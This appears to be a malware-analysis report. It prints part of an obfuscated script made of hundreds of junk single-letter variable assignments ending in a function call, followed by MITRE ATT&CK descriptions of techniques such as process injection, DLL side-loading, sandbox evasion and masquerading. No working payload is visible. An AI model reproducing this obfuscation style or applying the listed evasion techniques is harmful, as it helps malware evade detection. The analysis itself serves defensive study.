516	bbyxafqj = "Y";
517	bbyxafqj = "d";
518	bbyxafqj = "v";
519	bbyxafqj = "F";
520	bbyxafqj = "T";
521	bbyxafqj = "c";
522	bbyxafqj = "y";
523	bbyxafqj = "j";
524	bbyxafqj = "f";
525	bbyxafqj = "J";
526	bbyxafqj = "M";
527	bbyxafqj = "C";
528	bbyxafqj = "v";
529	bbyxafqj = "k";
530	bbyxafqj = "E";
531	bbyxafqj = "g";
532	bbyxafqj = "L";
533	bbyxafqj = "o";
534	bbyxafqj = "w";
535	inyswfz = "p";
536	inyswfz = "s";
537	inyswfz = "T";
538	inyswfz = "q";
539	inyswfz = "n";
540	inyswfz = "Q";
541	inyswfz = "v";
542	inyswfz = "G";
543	inyswfz = "r";
544	inyswfz = "H";
545	inyswfz = "x";
546	inyswfz = "y";
547	inyswfz = "k";
548	inyswfz = "n";
549	inyswfz = "X";
550	inyswfz = "I";
551	inyswfz = "n";
552	inyswfz = "B";
553	inyswfz = "O";
554	inyswfz = "f";
555	inyswfz = "C";
556	inyswfz = "Q";
557	inyswfz = "u";
558	inyswfz = "g";
559	inyswfz = "T";
560	inyswfz = "N";
561	inyswfz = "K";
562	inyswfz = "N";
563	inyswfz = "A";
564	inyswfz = "e";
565	inyswfz = "z";
566	inyswfz = "M";
567	inyswfz = "b";
568	inyswfz = "u";
569	inyswfz = "y";
570	inyswfz = "m";
571	inyswfz = "K";
572	inyswfz = "P";
573	inyswfz = "c";
574	inyswfz = "W";
575	inyswfz = "R";
576	inyswfz = "%";
577	socrvi = "N";
578	socrvi = "T";
579	socrvi = "4";
580	gjhno = "O";
581	gjhno = "r";
582	gjhno = "K";
583	gjhno = "j";
584	gjhno = "1";
585	lsswog = "a";
586	lsswog = "Y";
587	lsswog = "X";
588	lsswog = "P";
589	lsswog = "W";
590	lsswog = "O";
591	lsswog = "v";
592	lsswog = "P";
593	lsswog = "f";
594	lsswog = "G";
595	lsswog = "u";
596	lsswog = "v";
597	lsswog = "x";
598	ovlcw = "J";
599	ovlcw = "b";
600	ovlcw = "W";
601	ovlcw = "z";
602	ovlcw = "Q";
603	ovlcw = "q";
604	ovlcw = "O";
605	ovlcw = "x";
606	ovlcw = "M";
607	ovlcw = "k";
608	ovlcw = "A";
609	ovlcw = "G";
610	ovlcw = "O";
611	ovlcw = "G";
612	ovlcw = "m";
613	ovlcw = "P";
614	ovlcw = "q";
615	ovlcw = "q";
616	ovlcw = "R";
617	ovlcw = "i";
618	ovlcw = "l";
619	ovlcw = "R";
620	ovlcw = "c";
621	ovlcw = "N";
622	ovlcw = "V";
623	ovlcw = "R";
624	ovlcw = "f";
625	ovlcw = "h";
626	ovlcw = "t";
627	ovlcw = "M";
628	ovlcw = "a";
629	ovlcw = "w";
630	ovlcw = "v";
631	ovlcw = "a";
632	ovlcw = "q";
633	ovlcw = "5";
634	vlhig = "U";
635	vlhig = "r";
636	vlhig = "w";
637	vlhig = "T";
638	bjitzr = "h";
639	bjitzr = "e";
640	bjitzr = "l";
641	bjitzr = "V";
642	bjitzr = "h";
643	bjitzr = "A";
644	bjitzr = "p";
645	bjitzr = "f";
646	bjitzr = "x";
647	bjitzr = "Y";
648	bjitzr = "R";
649	bjitzr = "N";
650	bjitzr = "l";
651	bjitzr = "q";
652	bjitzr = "M";
653	bjitzr = "m";
654	bjitzr = "N";
655	bjitzr = "N";
656	bjitzr = "w";
657	bjitzr = "r";
658	bjitzr = "D";
659	bjitzr = "Z";
660	bjitzr = "i";
661	bjitzr = "k";
662	bjitzr = "l";
663	bjitzr = "v";
664	bjitzr = "z";
665	bjitzr = "H";
666	bycpzck = "E";
667	bycpzck = "L";
668	bycpzck = "g";
669	bycpzck = "q";
670	bycpzck = "T";
671	bycpzck = "e";
672	bycpzck = "v";
673	izdrmsm = "R";
674	izdrmsm = "G";
675	izdrmsm = "S";
676	izdrmsm = "c";
677	izdrmsm = "G";
678	izdrmsm = "Q";
679	izdrmsm = "U";
680	izdrmsm = "J";
681	izdrmsm = "z";
682	izdrmsm = "L";
683	izdrmsm = "d";
684	izdrmsm = "L";
685	izdrmsm = "o";
686	izdrmsm = "i";
687	izdrmsm = "o";
688	izdrmsm = "x";
689	izdrmsm = "u";
690	izdrmsm = "M";
691	izdrmsm = "Q";
692	izdrmsm = "a";
693	izdrmsm = "l";
694	izdrmsm = "e";
695	pssuz = "I";
696	pssuz = "L";
697	pssuz = "p";
698	pssuz = "c";
699	pssuz = "c";
700	pssuz = "W";
701	pssuz = "J";
702	pssuz = "V";
703	pssuz = "d";
704	pssuz = "t";
705	pssuz = "b";
706	pssuz = "h";
707	pssuz = "g";
708	pssuz = "_";
709	tspeurk = "k";
710	tspeurk = "e";
711	tspeurk = "U";
712	tspeurk = "e";
713	tspeurk = "N";
714	tspeurk = "z";
715	tspeurk = "O";
716	tspeurk = "H";
717	tspeurk = "J";
718	tspeurk = "D";
719	tspeurk = "u";
720	tspeurk = "o";
721	tspeurk = "V";
722	tspeurk = "z";
723	tspeurk = "g";
724	tspeurk = "a";
725	tspeurk = "v";
726	tspeurk = "Y";
727	tspeurk = "j";
728	tspeurk = "r";
729	tspeurk = "u";
730	tspeurk = "x";
731	tspeurk = "X";
732	tspeurk = "m";
733	tspeurk = "A";
734	tspeurk = "y";
735	tspeurk = "O";
736	tspeurk = "o";
737	tspeurk = "w";
738	tspeurk = "h";
739	tspeurk = "S";
740	tspeurk = "l";
741	tspeurk = "a";
742	tspeurk = "D";
743	tspeurk = "W";
744	tspeurk = "q";
745	tspeurk = "C";
746	tspeurk = "o";
747	tspeurk = "Y";
748	tspeurk = "R";
749	tspeurk = "T";
750	tspeurk = "l";
751	tspeurk = "X";
752	tspeurk = "B";
753	tspeurk = "r";
754	brnqfwx = "M";
755	brnqfwx = "q";
756	brnqfwx = "G";
757	brnqfwx = "i";
758	brnqfwx = "W";
759	brnqfwx = "V";
760	brnqfwx = "H";
761	brnqfwx = "Q";
762	brnqfwx = "a";
763	brnqfwx = "A";
764	brnqfwx = "M";
765	brnqfwx = "K";
766	brnqfwx = "G";
767	brnqfwx = "o";
768	brnqfwx = "K";
769	brnqfwx = "D";
770	brnqfwx = "U";
771	brnqfwx = "j";
772	brnqfwx = "u";
773	brnqfwx = "m";
774	brnqfwx = "Z";
775	brnqfwx = "R";
776	brnqfwx = "/";
777	guvwmp = "e";
778	guvwmp = "l";
779	guvwmp = "f";
780	guvwmp = "X";
781	guvwmp = "U";
782	guvwmp = "L";
783	guvwmp = "N";
784	guvwmp = "e";
785	guvwmp = "k";
786	guvwmp = "f";
787	guvwmp = "F";
788	guvwmp = "j";
789	guvwmp = "M";
790	guvwmp = "H";
791	guvwmp = "w";
792	guvwmp = "S";
793	guvwmp = "f";
794	guvwmp = "i";
795	guvwmp = "J";
796	guvwmp = "E";
797	guvwmp = "o";
798	guvwmp = "Z";
799	guvwmp = "Y";
800	guvwmp = "V";
801	guvwmp = "D";
802	guvwmp = "h";
803	guvwmp = "D";
804	guvwmp = "S";
805	guvwmp = "k";
806	guvwmp = "z";
807	guvwmp = "b";
808	guvwmp = "E";
809	guvwmp = "L";
810	guvwmp = "n";
811	tbqjsw = "o";
812	tbqjsw = "w";
813	tbqjsw = "g";
814	tbqjsw = "F";
815	tbqjsw = "v";
816	tbqjsw = "Z";
817	tbqjsw = "G";
818	tbqjsw = "H";
819	tbqjsw = "h";
820	tbqjsw = "e";
821	tbqjsw = "s";
822	tbqjsw = "r";
823	tbqjsw = "U";
824	tbqjsw = "n";
825	tbqjsw = "N";
826	tbqjsw = "J";
827	tbqjsw = "g";
828	tbqjsw = "R";
829	tbqjsw = "e";
830	tbqjsw = "i";
831	tbqjsw = "S";
832	tbqjsw = "M";
833	tbqjsw = "b";
834	tbqjsw = "M";
835	tbqjsw = "L";
836	tbqjsw = "Z";
837	tbqjsw = "Z";
838	tbqjsw = "Z";
839	tbqjsw = "D";
840	tbqjsw = "Z";
841	tbqjsw = "l";
842	tbqjsw = "r";
843	tbqjsw = "P";
844	tbqjsw = "i";
845	tbqjsw = "s";
846	tbqjsw = "H";
847	tbqjsw = "f";
848	hejlkqw = "D";
849	hejlkqw = "f";
850	hejlkqw = "l";
851	hejlkqw = "M";
852	hejlkqw = "T";
853	hejlkqw = "u";
854	hejlkqw = "X";
855	hejlkqw = "K";
856	hejlkqw = "e";
857	hejlkqw = "I";
858	hejlkqw = "S";
859	hejlkqw = "y";
860	hejlkqw = "Y";
861	hejlkqw = "P";
862	hejlkqw = "k";
863	hejlkqw = "X";
864	hejlkqw = "e";
865	hejlkqw = "t";
866	hejlkqw = "c";
867	hejlkqw = "O";
868	hejlkqw = "K";
869	hejlkqw = "z";
870	hejlkqw = "e";
871	hejlkqw = "j";
872	hejlkqw = "M";
873	hejlkqw = "h";
874	hejlkqw = "A";
875	hejlkqw = "o";
876	hejlkqw = "K";
877	hejlkqw = "Q";
878	hejlkqw = "a";
879	hejlkqw = "O";
880	hejlkqw = "a";
881	hejlkqw = "P";
882	gcdutf = "l";
883	gcdutf = "W";
884	gcdutf = "9";
885	pvhbdtrr = "r";
886	pvhbdtrr = "M";
887	pvhbdtrr = "q";
888	pvhbdtrr = "a";
889	pvhbdtrr = "W";
890	pvhbdtrr = "F";
891	pvhbdtrr = "Y";
892	pvhbdtrr = "F";
893	pvhbdtrr = "A";
894	pvhbdtrr = "J";
895	pvhbdtrr = "N";
896	pvhbdtrr = "r";
897	pvhbdtrr = "F";
898	pvhbdtrr = "S";
899	pvhbdtrr = "G";
900	pvhbdtrr = "s";
901	pvhbdtrr = "Q";
902	pvhbdtrr = "t";
903	pvhbdtrr = "C";
904	pvhbdtrr = "H";
905	pvhbdtrr = "H";
906	pvhbdtrr = "e";
907	pvhbdtrr = "j";
908	pvhbdtrr = "O";
909	pvhbdtrr = "v";
910	pvhbdtrr = "k";
911	pvhbdtrr = "x";
912	pvhbdtrr = "q";
913	pvhbdtrr = "y";
914	pvhbdtrr = "m";
915	pvhbdtrr = "\\";
916	dupxnalve = "n";
917	dupxnalve = "v";
918	dupxnalve = "V";
919	dupxnalve = "O";
920	dupxnalve = "Y";
921	dupxnalve = "v";
922	dupxnalve = "N";
923	dupxnalve = "F";
924	dupxnalve = "v";
925	dupxnalve = "w";
926	dupxnalve = "Z";
927	dupxnalve = "c";
928	dupxnalve = "a";
929	xjcuy = "f";
930	xjcuy = "Y";
931	xjcuy = "y";
932	xjcuy = "E";
933	xjcuy = "a";
934	xjcuy = "B";
935	xjcuy = "L";
936	xjcuy = "b";
937	xjcuy = "y";
938	xjcuy = "H";
939	xjcuy = "O";
940	xjcuy = "D";
941	xjcuy = "y";
942	xjcuy = "W";
943	xjcuy = "h";
944	xjcuy = "d";
945	xjcuy = "y";
946	xjcuy = "I";
947	xjcuy = "F";
948	xjcuy = "Y";
949	xjcuy = "b";
950	xjcuy = "U";
951	xjcuy = "o";
952	xjcuy = "p";
953	xjcuy = "N";
954	xjcuy = "r";
955	xjcuy = "c";
956	xjcuy = "B";
957	xjcuy = "B";
958	xjcuy = "p";
959	lxohpdxg = "g";
960	lxohpdxg = "L";
961	lxohpdxg = "P";
962	lxohpdxg = "E";
963	lxohpdxg = "i";
964	lxohpdxg = "D";
965	lxohpdxg = "d";
966	lxohpdxg = "W";
967	lxohpdxg = "I";
968	lxohpdxg = "L";
969	lxohpdxg = "V";
970	lxohpdxg = "E";
971	lxohpdxg = "E";
972	lxohpdxg = "H";
973	lxohpdxg = "F";
974	lxohpdxg = "c";
975	lxohpdxg = "U";
976	lxohpdxg = "y";
977	lxohpdxg = "H";
978	lxohpdxg = "C";
979	lxohpdxg = "F";
980	lxohpdxg = "n";
981	lxohpdxg = "J";
982	lxohpdxg = "F";
983	lxohpdxg = "d";
984	lxohpdxg = "T";
985	lxohpdxg = "k";
986	lxohpdxg = "U";
987	lxohpdxg = "b";
988	lxohpdxg = "s";
989	lxohpdxg = "v";
990	lxohpdxg = "F";
991	lxohpdxg = "q";
992	lxohpdxg = "L";
993	lxohpdxg = "n";
994	lxohpdxg = "C";
995	lxohpdxg = "I";
996	lxohpdxg = "D";
997	lxohpdxg = "e";
998	lxohpdxg = "o";
999	jdtsvocl = "Y";
1000	jdtsvocl = "k";
1001	jdtsvocl = "k";
1002	jdtsvocl = "n";
1003	jdtsvocl = "l";
1004	jdtsvocl = "X";
1005	jdtsvocl = "Q";
1006	jdtsvocl = "g";
1007	jdtsvocl = "K";
1008	jdtsvocl = "O";
1009	jdtsvocl = "h";
1010	jdtsvocl = "R";
1011	jdtsvocl = "U";
1012	jdtsvocl = "G";
1013	jdtsvocl = "c";
1014	jdtsvocl = "v";
1015	jdtsvocl = "c";
1016	jdtsvocl = "z";
1017	jdtsvocl = "y";
1018	jdtsvocl = "p";
1019	jdtsvocl = "i";
1020	jdtsvocl = "z";
1021	jdtsvocl = "2";
1022	cnmjza = "I";
1023	cnmjza = "L";
1024	cnmjza = "z";
1025	cnmjza = "b";
1026	cnmjza = "m";
1027	cnmjza = "W";
1028	cnmjza = "J";
1029	cnmjza = "O";
1030	cnmjza = "T";
1031	cnmjza = "u";
1032	cnmjza = "z";
1033	cnmjza = "R";
1034	cnmjza = "Z";
1035	cnmjza = "y";
1036	cnmjza = "d";
1037	cnmjza = "N";
1038	cnmjza = "V";
1039	cnmjza = "V";
1040	cnmjza = "c";
1041	zgspo = "F";
1042	zgspo = "P";
1043	zgspo = "q";
1044	zgspo = "r";
1045	zgspo = " ";
1046	binvsywzu = "m";
1047	vonuhfdsz = "b";
1048	awazz = "M";
1049	awazz = "S";
1050	awazz = "U";
1051	awazz = "Y";
1052	awazz = "V";
1053	awazz = "m";
1054	awazz = "c";
1055	awazz = "M";
1056	awazz = "N";
1057	awazz = "F";
1058	awazz = "P";
1059	awazz = "c";
1060	awazz = "W";
1061	awazz = "r";
1062	awazz = "V";
1063	awazz = "i";
1064	awazz = "r";
1065	awazz = "P";
1066	awazz = "f";
1067	awazz = "q";
1068	awazz = "E";
1069	awazz = "I";
1070	awazz = "j";
1071	awazz = "f";
1072	awazz = "u";
1073	awazz = "n";
1074	awazz = "S";
1075	awazz = "I";
1076	awazz = "d";
1077	awazz = "n";
1078	awazz = "H";
1079	awazz = "t";
1080	awazz = "Z";
1081	awazz = "m";
1082	awazz = "x";
1083	awazz = "r";
1084	awazz = "f";
1085	awazz = "o";
1086	awazz = "Z";
1087	awazz = "G";
1088	awazz = "c";
1089	awazz = "z";
1090	awazz = "j";
1091	rvvjurhc = "s";
1092	rvvjurhc = "y";
1093	rvvjurhc = "N";
1094	rvvjurhc = "g";
1095	rvvjurhc = "Z";
1096	rvvjurhc = "O";
1097	rvvjurhc = "y";
1098	rvvjurhc = "a";
1099	rvvjurhc = "J";
1100	rvvjurhc = "o";
1101	rvvjurhc = "T";
1102	rvvjurhc = "J";
1103	rvvjurhc = "i";
1104	rvvjurhc = "q";
1105	rvvjurhc = "v";
1106	rvvjurhc = "p";
1107	rvvjurhc = "c";
1108	rvvjurhc = "L";
1109	rvvjurhc = "E";
1110	rvvjurhc = "R";
1111	rvvjurhc = "i";
1112	dxseqmrs = "A";
1113	dxseqmrs = "f";
1114	dxseqmrs = "k";
1115	dxseqmrs = "d";
1116	dxseqmrs = "Y";
1117	dxseqmrs = "D";
1118	dxseqmrs = "m";
1119	dxseqmrs = "P";
1120	dxseqmrs = "L";
1121	dxseqmrs = "L";
1122	npollyfz = "y";
1123	npollyfz = "S";
1124	npollyfz = "r";
1125	npollyfz = "n";
1126	npollyfz = "c";
1127	npollyfz = "l";
1128	npollyfz = "R";
1129	npollyfz = "s";
1130	npollyfz = "H";
1131	npollyfz = "r";
1132	npollyfz = "u";
1133	npollyfz = "b";
1134	npollyfz = "u";
1135	npollyfz = "n";
1136	npollyfz = "y";
1137	npollyfz = "B";
1138	npollyfz = "k";
1139	npollyfz = "z";
1140	npollyfz = "N";
1141	npollyfz = "Z";
1142	npollyfz = "j";
1143	npollyfz = "G";
1144	npollyfz = "b";
1145	npollyfz = "D";
1146	npollyfz = "w";
1147	npollyfz = "r";
1148	npollyfz = "p";
1149	npollyfz = "H";
1150	npollyfz = "S";
1151	npollyfz = "N";
1152	npollyfz = "y";
1153	npollyfz = "y";
1154	npollyfz = "I";
1155	npollyfz = "H";
1156	npollyfz = "q";
1157	npollyfz = "d";
1158	npollyfz = "f";
1159	npollyfz = "U";
1160	npollyfz = "l";
1161	sqdpcghml = "n";
1162	sqdpcghml = "c";
1163	sqdpcghml = "K";
1164	sqdpcghml = "U";
1165	sqdpcghml = "g";
1166	sqdpcghml = "X";
1167	sqdpcghml = "t";
1168	sqdpcghml = "Z";
1169	sqdpcghml = "J";
1170	sqdpcghml = "c";
1171	sqdpcghml = "n";
1172	sqdpcghml = "B";
1173	sqdpcghml = "l";
1174	sqdpcghml = "y";
1175	sqdpcghml = "h";
1176	sqdpcghml = "Q";
1177	sqdpcghml = "b";
1178	sqdpcghml = "y";
1179	sqdpcghml = "a";
1180	sqdpcghml = "R";
1181	yemcoxydl = "T";
1182	yemcoxydl = "g";
1183	yemcoxydl = "p";
1184	yemcoxydl = "d";
1185	yemcoxydl = "U";
1186	yemcoxydl = "v";
1187	yemcoxydl = "C";
1188	yemcoxydl = "x";
1189	yemcoxydl = "D";
1190	yemcoxydl = "K";
1191	yemcoxydl = "p";
1192	yemcoxydl = "N";
1193	qineqpm = "M";
1194	qineqpm = "v";
1195	qineqpm = "o";
1196	qineqpm = "k";
1197	qineqpm = "l";
1198	qineqpm = "K";
1199	qineqpm = "k";
1200	qineqpm = "N";
1201	qineqpm = "m";
1202	qineqpm = "Y";
1203	iufibnqn = "P";
1204	iufibnqn = "e";
1205	iufibnqn = "Z";
1206	iufibnqn = "W";
1207	iufibnqn = "o";
1208	iufibnqn = "J";
1209	iufibnqn = "c";
1210	iufibnqn = "n";
1211	iufibnqn = "p";
1212	iufibnqn = "R";
1213	iufibnqn = "m";
1214	iufibnqn = "U";
1215	iufibnqn = "w";
1216	iufibnqn = "A";
1217	iufibnqn = "G";
1218	iufibnqn = "A";
1219	iufibnqn = "o";
1220	iufibnqn = "d";
1221	iufibnqn = "J";
1222	iufibnqn = "V";
1223	iufibnqn = "K";
1224	iufibnqn = "V";
1225	iufibnqn = "y";
1226	iufibnqn = "R";
1227	iufibnqn = "J";
1228	iufibnqn = "N";
1229	iufibnqn = "h";
1230	iufibnqn = "n";
1231	iufibnqn = "g";
1232	iufibnqn = "S";
1233	iufibnqn = "W";
1234	iufibnqn = "e";
1235	iufibnqn = "u";
1236	iufibnqn = "j";
1237	iufibnqn = "G";
1238	iufibnqn = "X";
1239	iufibnqn = "O";
1240	iufibnqn = "H";
1241	iufibnqn = "t";
1242	mqntvzj = "j";
1243	mqntvzj = "b";
1244	mqntvzj = "I";
1245	mqntvzj = "u";
1246	mqntvzj = "z";
1247	mqntvzj = "A";
1248	mqntvzj = "z";
1249	mqntvzj = "g";
1250	mqntvzj = "i";
1251	mqntvzj = "F";
1252	mqntvzj = "W";
1253	mqntvzj = "W";
1254	mqntvzj = "l";
1255	mqntvzj = "S";
1256	mqntvzj = "U";
1257	mqntvzj = "Q";
1258	mqntvzj = "Q";
1259	mqntvzj = "c";
1260	mqntvzj = "x";
1261	mqntvzj = "t";
1262	mqntvzj = "s";
1263	mqntvzj = "w";
1264	mqntvzj = "B";
1265	mqntvzj = "A";
1266	mqntvzj = "e";
1267	mqntvzj = "B";
1268	mqntvzj = "k";
1269	mqntvzj = "t";
1270	mqntvzj = "o";
1271	mqntvzj = "B";
1272	mqntvzj = "q";
1273	eifsfoser = "t";
1274	eifsfoser = "o";
1275	eifsfoser = "s";
1276	eifsfoser = "j";
1277	eifsfoser = "P";
1278	eifsfoser = "D";
1279	eifsfoser = "B";
1280	eifsfoser = "O";
1281	eifsfoser = "z";
1282	eifsfoser = "u";
1283	eifsfoser = "i";
1284	eifsfoser = "a";
1285	eifsfoser = "w";
1286	eifsfoser = "E";
1287	eifsfoser = "F";
1288	eifsfoser = "d";
1289	eifsfoser = "D";
1290	eifsfoser = "h";
1291	eifsfoser = "D";
1292	eifsfoser = "B";
1293	eifsfoser = "A";
1294	eifsfoser = "g";
1295	eifsfoser = "K";
1296	eifsfoser = "N";
1297	eifsfoser = "L";
1298	eifsfoser = "Z";
1299	eifsfoser = "U";
1300	eifsfoser = "H";
1301	eifsfoser = "C";
1302	razwnc = "O";
1303	razwnc = "v";
1304	razwnc = "a";
1305	razwnc = "s";
1306	razwnc = "V";
1307	razwnc = "v";
1308	razwnc = "f";
1309	razwnc = "Z";
1310	razwnc = "G";
1311	razwnc = "e";
1312	razwnc = "a";
1313	razwnc = "m";
1314	razwnc = "m";
1315	razwnc = "Q";
1316	razwnc = "Y";
1317	razwnc = "i";
1318	razwnc = "L";
1319	razwnc = "D";
1320	razwnc = "K";
1321	razwnc = "o";
1322	razwnc = "I";
1323	razwnc = "b";
1324	razwnc = "i";
1325	razwnc = "T";
1326	razwnc = "B";
1327	razwnc = "j";
1328	razwnc = "y";
1329	razwnc = "I";
1330	razwnc = "S";
1331	razwnc = "Y";
1332	razwnc = "Q";
1333	razwnc = "u";
1334	razwnc = "b";
1335	razwnc = "z";
1336	razwnc = "Y";
1337	razwnc = "i";
1338	razwnc = "f";
1339	razwnc = "m";
1340	razwnc = "F";
1341	razwnc = "j";
1342	razwnc = "O";
1343	mdpek = "E";
1344	mdpek = "d";
1345	mdpek = "v";
1346	mdpek = "W";
1347	mdpek = "a";
1348	mdpek = "7";
1349	jzfhoifm = "Q";
1350	jzfhoifm = "P";
1351	jzfhoifm = "z";
1352	jzfhoifm = "s";
1353	jzfhoifm = "c";
1354	jzfhoifm = "c";
1355	jzfhoifm = "w";
1356	jzfhoifm = "X";
1357	jzfhoifm = "B";
1358	jzfhoifm = "Y";
1359	jzfhoifm = "s";
1360	xwflbm = "@";
1361	nophv = "z";
1362	nophv = "y";
1363	nophv = "u";
1364	nophv = "b";
1365	nophv = "V";
1366	nophv = "S";
1367	nophv = "J";
1368	nophv = "v";
1369	nophv = "w";
1370	nophv = "d";
1371	nophv = "q";
1372	nophv = "K";
1373	nophv = "Z";
1374	nophv = "o";
1375	nophv = "v";
1376	nophv = "F";
1377	nophv = "a";
1378	nophv = "Y";
1379	nophv = "W";
1380	nophv = "o";
1381	nophv = "z";
1382	nophv = "i";
1383	nophv = "B";
1384	nophv = "D";
1385	nophv = "w";
1386	nophv = "g";
1387	nophv = "Q";
1388	nophv = "b";
1389	nophv = "O";
1390	nophv = "S";
1391	nophv = "-";
1392	xcnwo ( );	xcnwo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
